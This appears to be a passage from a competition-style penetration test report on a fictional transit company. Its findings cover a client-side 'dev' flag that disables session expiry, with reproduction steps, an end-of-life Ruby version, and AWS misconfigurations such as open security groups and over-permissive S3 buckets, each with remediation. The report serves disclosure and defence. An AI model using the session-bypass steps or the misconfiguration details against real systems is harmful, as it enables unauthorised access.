When analyzing the homepage, Finals-XX identified a segment of code that allows an attacker to skip the need for a session by setting the JavaScript variable 'dev' to true which will no longer invalidate the session token in use.

```
<script>
    dev = false
    function fetchData() {
        if (dev == true) {
            return
        }

        currentURL = window.location.href
        if (currentURL.endsWith('/kiosk/go/')) {
            return
        }

        fetch('/api/v3/session/heartbeat')
            .then(response => {
                if (!response.ok) {
                    window.location.href = '/api/v3/session/destroy';
                }
            })
    }
}
```

Dev Code

It appears this is a remnant from the site in development.

## **STEPS TO REPRODUCE**

1. Go to the site at BAGGAGECLAIM.CORP.KKMS.LOCAL
2. View the source of the site and locate the JavaScript section
3. Notice a check for a variable called 'dev'
4. Set the variable to true
5. Notice the session no longer expires

## **REMEDIATION**

Remove this development segment of code from the program for production.

## **REFERENCES**

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

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## EOL RUBY VERSION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

## AFFECTED SYSTEMS

TRAM-OPS.TRAIN.KKMS.LOCAL - 10.0.20.100

## DESCRIPTION


An end-of-life version of Ruby (2.7.8) was discovered during the assessment. End-of-life software is no longer supported and will not receive any patches. As time goes on the likelihood this software is exploited greatly increases.

## BUSINESS IMPACT

In the event of an exploit being found for this Ruby version, attackers may severely disrupt tram operations by manipulating control systems, such as altering tram speeds, posing serious safety risks and potential financial losses.

## OBSERVATION

XXXX discovered the End-of-life version of Ruby via the homepage of the web application.



*Homepage Version Numbers*

## STEPS TO REPRODUCE

1. Go to the affected system's homepage
2. Verify that the version of Ruby is EOL

## REMEDIATION

To mitigate potential vulnerabilities and enhance the security of the Ruby on Rails server, Finals-XX recommends the following actions:

1. **Patch and Update:** Upgrade Ruby to the most recent stable version available.
2. **Implement custom home page:** Implementing custom home pages will help avoid the disclosure of version information.

## REFERENCES

<https://www.ruby-lang.org/en/downloads/branches/>

## UNUSUAL DISCOVERIES ON AWS ENVIRONMENT

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

## AFFECTED SYSTEMS

AWS Environment

## DESCRIPTION

RAKMS staff mentioned that their AWS environment had been inherited from another company. The following is a list of informational, but notable findings that may be worth looking into.

## BUSINESS IMPACT

- Increased Security Risks:** Neglecting to remove unused resources and outdated ACLs/groups can lead to vulnerabilities, making the system susceptible to breaches.
- Operational Inefficiencies:** Overlooking these aspects can result in a cluttered and inefficient system, hindering performance and increasing maintenance complexity.

## OBSERVATION

- EC2 Security Groups
  - Various EC2 security groups (launch-wizard-\*) allow access to various ports. Additionally, these security groups were in an unused state during the assessment.

launch-wizard-15

Information

ID: sg-0723e05f89a3dc138  
ARN: arn:aws:ec2:us-east-1:677302527522:security-group/sg-0723e05f89a3dc138  
Region: us-east-1  
VPC: MANAGEMENT (vpc-96e915eb)  
Description: launch-wizard-15 created 2022-09-24T20:27:51.837Z

Egress Rules 1

- ALL
  - Ports:
    - 1-65535
      - IP addresses:
        - 0.0.0.0/0

Ingress Rules 4

  - TCP
    - Ports:
      - 80
        - IP addresses:
          - 0.0.0.0/0
      - 443
        - IP addresses:
          - 0.0.0.0/0
      - 3389
        - IP addresses:
          - 0.0.0.0/0
      - 0-65535
        - IP addresses:
          - 0.0.0.0/0

Usage

This security group is not in use.

AWS Security Group example

2. DNS

- Seemingly random DNS records were found via the Route53 service.

## luckycroissant.net

### Information

ARN: arn:aws:route53:us-east-1:677302527522:domain/scoutid-1c8fe6b8807d15af5e780e5d49a85c8c45098391  
Auto Renew: Enabled  
Transfer Lock: Disabled **▲** This domain's top-level domain (TLD) does not support domain locking.  
Expiry: Sun Jan 26 2025 15:16:27 GMT-0600 (Central Standard Time)

## luckycroissant.com

### Information

ARN: arn:aws:route53:us-east-1:677302527522:domain/scoutid-2414ed76b505880fd7b2b3e98871bde3f1b58dcc  
Auto Renew: Enabled  
Transfer Lock: Disabled **▲** This domain's top-level domain (TLD) does not support domain locking.  
Expiry: Sun Jan 26 2025 15:16:25 GMT-0600 (Central Standard Time)

## luckycroissant.org

### Information

ARN: arn:aws:route53:us-east-1:677302527522:domain/scoutid-2c6eeba0a181d08edb0d8d966f6490f3873c8e0  
Auto Renew: Enabled  
Transfer Lock: Disabled **▲** This domain's top-level domain (TLD) does not support domain locking.  
Expiry: Sun Jan 26 2025 15:16:25 GMT-0600 (Central Standard Time)

## cptc.link

### Information

ARN: arn:aws:route53:us-east-1:677302527522:domain/scoutid-b4a62464c73824cf3bc505209dc3fa44d7107830  
Auto Renew: Enabled  
Transfer Lock: Enabled **▲** This domain's top-level domain (TLD) does not support domain locking.  
Expiry: Wed Sep 25 2024 09:52:37 GMT-0500 (Central Daylight Time)

### DNS Domains

- S3 Bucket ACL's & Ownership
- All of the S3 Buckets observed were owned, and full access was given to the *lucas* user. This username does not seem to fit in with other users.

**rakmstoolrequisition20240110348011242000000007**

### Information

ARN: arn:aws:s3:::rakmstoolrequisition20240110348011242000000007/\*  
Region: us-east-1  
Creation Date: 2024-01-10 03:48:03+00:00  
Logging: Disabled  
Default Encryption: Enabled  
Encryption Algorithm: AES256  
Encryption Key: None  
Versioning: Disabled  
MFA Delete: Disabled  
Secure Transport: Disabled  
Static Website Hosting: Enabled

### Public Access Block Configuration

Ignore Public ACLs: Disabled  
Block Public Policies: Disabled  
Block Public ACLs: Disabled  
Restrict Public Buckets: Disabled

### Bucket Policy

[Details](#)

### Bucket ACLs

	List	Upload/Delete	View Permissions	Edit Permissions
lucas	✓	✓	✓	✓

*S3 Bucket ACL's*

rakmsbarcode20240111034800721800000004

### Information

ARN: arn:aws:s3:::rakmsbarcode20240111034800721800000004/\*  
Region: us-east-1  
Creation Date: 2024-01-11 03:48:02+00:00  
Logging: Disabled  
Default Encryption: Enabled  
Encryption Algorithm: AES256  
Encryption Key: None  
Versioning: Disabled  
MFA Delete: Disabled  
Secure Transport: Disabled  
Static Website Hosting: Enabled

### Public Access Block Configuration

Ignore Public ACLs: Disabled  
Block Public Policies: Disabled  
Block Public ACLs: Disabled  
Restrict Public Buckets: Disabled

Bucket Policy		Details		
Bucket ACLs				
	List	Upload/Delete	View Permissions	Edit Permissions
lucas	✓	✓	✓	✓

S3 Bucket ACL's

rakmslocationservice20240111034801059700000006

### Information

ARN: arn:aws:s3:::rakmslocationservice20240111034801059700000006/\*  
 Region: us-east-1  
 Creation Date: 2024-01-11 03:48:03+00:00  
 Logging: Disabled  
 Default Encryption: Enabled  
 Encryption Algorithm: AES256  
 Encryption Key: None  
 Versioning: Disabled  
 MFA Delete: Disabled  
 Secure Transport: Disabled  
 Static Website Hosting: Enabled

### Public Access Block Configuration

Ignore Public ACLs: Disabled  
 Block Public Policies: Disabled  
 Block Public ACLs: Disabled  
 Restrict Public Buckets: Disabled

Bucket Policy					<a href="#">Details</a>
Bucket ACLs					
	List	Upload/Delete	View Permissions	Edit Permissions	
lucas	✓	✓	✓	✓	

S3 Bucket ACL's

## STEPS TO REPRODUCE

1. Run an authenticated Scout Suite scan or similar vulnerability scan on the AWS environment.
2. Review & observe findings

## REMEDIATION

Finals-XX recommends the following actions:

1. **Delete Unused Resources:** Regularly deleting unused resources helps prevent accidental usage or misconfiguration, maintaining a more efficient and manageable system environment.
2. **Review Access Controls:** Regularly review and update access controls to ensure ongoing security and compliance with policies.

## REFERENCES

<https://docs.aws.amazon.com/vpc/latest/userguide/vpc-security-groups.html>

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## RAKMS BAGGAGE CLAIM ENVIRONMENT

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

Baggage Claim Symbols

### DESCRIPTION

During the assessment, Finals-XX was tasked with evaluating the security of the RAKMS baggage claim system. The testing methodology encompassed capturing, decoding, analyzing, and transmitting data within these systems. Within the allocated timeframe, Finals-XX successfully captured signals from the system, but was unsuccessful in detecting or executing any illicit actions. Nonetheless, the absence of detected vulnerabilities does not equate to a guarantee of security, and potential vulnerabilities may still exist.

## APPENDIX A: METHODOLOGY

Finals-XX utilizes a custom version of the Penetration Testing Execution Standard, which is both intended for business and security specialist organizations, with a standardized language and set of operations for performing evaluations.

